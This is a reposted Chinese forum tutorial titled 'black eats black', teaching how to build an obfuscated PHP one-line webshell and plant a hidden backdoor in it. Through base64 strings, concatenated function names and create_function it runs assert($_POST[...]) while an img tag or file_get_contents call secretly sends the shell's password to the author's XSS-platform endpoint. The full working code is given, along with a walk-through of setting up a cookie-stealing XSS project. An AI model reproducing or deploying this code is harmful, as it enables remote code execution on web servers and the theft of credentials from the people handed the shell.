Loading

【黑吃黑】给你的一句话加上后门

转载自:i春秋社区

原文:http://bbs.ichunqiu.com/thread-18486-1-1.html

 
本帖最后由 sucppVK 于 2017-1-26 12:40 编辑

一、前言
本文原创作者:sucppVK,本文属i春秋原创奖励计划,未经许可禁止转载!
 

凭什么只有别人给我们带后门的东西?
我们辛辛苦苦的成果,要送给别人。
恩,因为这是一个大鱼吃小鱼的世界。
今天教大家如何去吃小鱼。
某“黑客”:老子不会代码一样能拿站。
丫扔给他一个一句话,说这个免杀了。
他一看,代码乱乱的,和正常一句话不一样,
而且还能自己改密码,于是高兴的:“好,收下了”。

<ignore_js_op> 
殊不知都,一旦他动手了
他所有的犯罪记录都在我们手里:


<ignore_js_op> 
密码:xxx
木马所在:
http://127.0.0.1/vkweb/text1.php

二、正文
首先不理解一句话木马的童鞋,参考本人上一次的教程:
http://bbs.ichunqiu.com/forum.ph ... id=17816&page=1
(ps:跳过0x02)
顺便附上sql注入的:
http://bbs.ichunqiu.com/forum.ph ... id=18284&page=1
-------------------------------------------------------------------------------
网上一句话免杀姿势不少,无非就是编码混淆,变量函数等等
注意几点:

  • 变量函数,前提是必须是函数  eval就不行
  • 变量变成字符就不是变量了
第一点是什么意思呢?
例如:
[PHP] 纯文本查看 复制代码
1
2
3
4
<?php
        $a = "eval";
        $a($_POST[123]);
?>


看上去没毛病,但是执行起来:


<ignore_js_op> 
原因就是eval根本不是函数,用assert代替即可:

 
1
2
3
4
<?php
        $a = "assert";
        $a($_POST[123]);
?>


<ignore_js_op> 
两者差异请参考百度关键字:php中eval和assert的区别
反正assert()可以用菜刀连接

第二点呢?
可能有人想把assert变成变量$x,然后变量在base64编码,到时候解码后就可以达到混淆的效果
想法不错,但是base64编码在解码,php会把它当做字符串$x,而不是变量
因此也不具备函数变量功能!

思路
编码混淆可以拿来免杀,同样也可以拿来给后门混淆视听。
让不懂代码,粗心的黑客上钩
思路有很多,这里抛砖引玉,借用xss平台完成。
步骤如下:

  • 随便找一家xss平台注册,登陆
  • 在我的项目里,点击创建:<ignore_js_op>
  • 项目名称和描述随便写,就是为了好认:<ignore_js_op>
  • 点下一步, <ignore_js_op>
  • 选择偷cookie的模块,每个平台命名会不一样,我这个平台管这叫默认模块
  • 点击下一步完成创建项目

看自己的项目代码:


<ignore_js_op> 

所谓跨站脚本攻击,就是把自己的另外一个站的恶意js代码插入受害者网站,
偷cookie功能的实现,实际是这个js用get方式请求了某个url,把偷到的隐私数据发送过去
这里本人的接口连接是:http://webxss.net//index.php?do=api&id=Iqc5u4

你们看你们自己的,别用我的。。。
尝试在浏览器地址栏输入
http://webxss.net//index.php?do=api&id=Iqc5u4&location=test_haha


<ignore_js_op> 
错误没关系,去平台看看:
 
成功接收数据,因此思路就是:
http://webxss.net//index.php?do=api&id=Iqc5u4&location=后面加上一句话密码就好了

实现
简化代码如下:


<ignore_js_op> 
$b是base64_decode
$c是create_function
倒数第二句,把assert($_POST['zxc']);分开
密码放在中间,实现可以让别人改密码的功能
然后后门语句就是:
echo '<img src="http://webxss.net//index.php?do=api&id=Iqc5u4&location=pw:'.$pw.'" />';
用图片的方法访问接口,把密码扔过去。
直接这样暴露了接口地址,容易被发现

因此编码混淆一下:

  • <img src="http://webxss.net//index.php?do=api&id=Iqc5u4&location=pw:进行base64编码:<ignore_js_op>

  • 使用的时候,用base64_decode解码就好了
具体代码:
[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
<?php
        $a1 = 'ass';
        $a2 = 'ert';
        $a = $a1.$a2;   //$a就是assert
        $a1 = 'base64_';
        $a2 = 'decode';
        $b = $a1.$a2;   //$b就是base64_decode
        $a1 = $b('Y3JlYXRlXw==');
        $a2 = $b('ZnVuY3Rpb24=');
        $url = $b('PGltZyBzcmM9Imh0dHA6Ly93ZWJ4c3MubmV0Ly9pbmRleC5waHA/ZG89YXBpJmlkPTJoNjJXViZsb2NhdGlvbj1taW1hOg==');  //后门
        $c = $a1.$a2//$c就是create_function
        $pw = 'abc'//设置密码
        echo $url.$pw.' />'//发送密码给自己的xss平台接口
        $xx = $c("", $b('YXNzZXJ0KCRfUE9TVFsn').$pw.$b('J10pOw=='));          //assert($_POST['zxc']); 完成一句话拼接
        $xx();  //执行一句话
?>


注释我也写的挺详细的了,慢慢看吧


把带后门的伪免杀木马给他时,同目录下写个使用必看的txt,里面说:
使用前先不要连接菜刀!先手动测试:


<ignore_js_op> 


这样我们就能接受到了:


<ignore_js_op> 
(木马所在url也有,图中右边的
HTTP_REFERER)

这样其实有局限性。
因为html语言由浏览器负责解析
菜刀是不解析的,因此直接连接菜刀是不能偷到密码的

但我们可以用php来链接xss平台接口,例如file_get_contents()


<ignore_js_op> 
这样就解决这个问题了。

三、结束语
砖头已经抛出,剩下就是引出大家的玉了
本人也做了关于一句话木马的视频教程,有兴趣的可以私信我,当然如果蛋总同意,我也可以把链接发上来

posted @ 2017-01-30 12:08  ssooking  阅读(707)  评论(0)    收藏  举报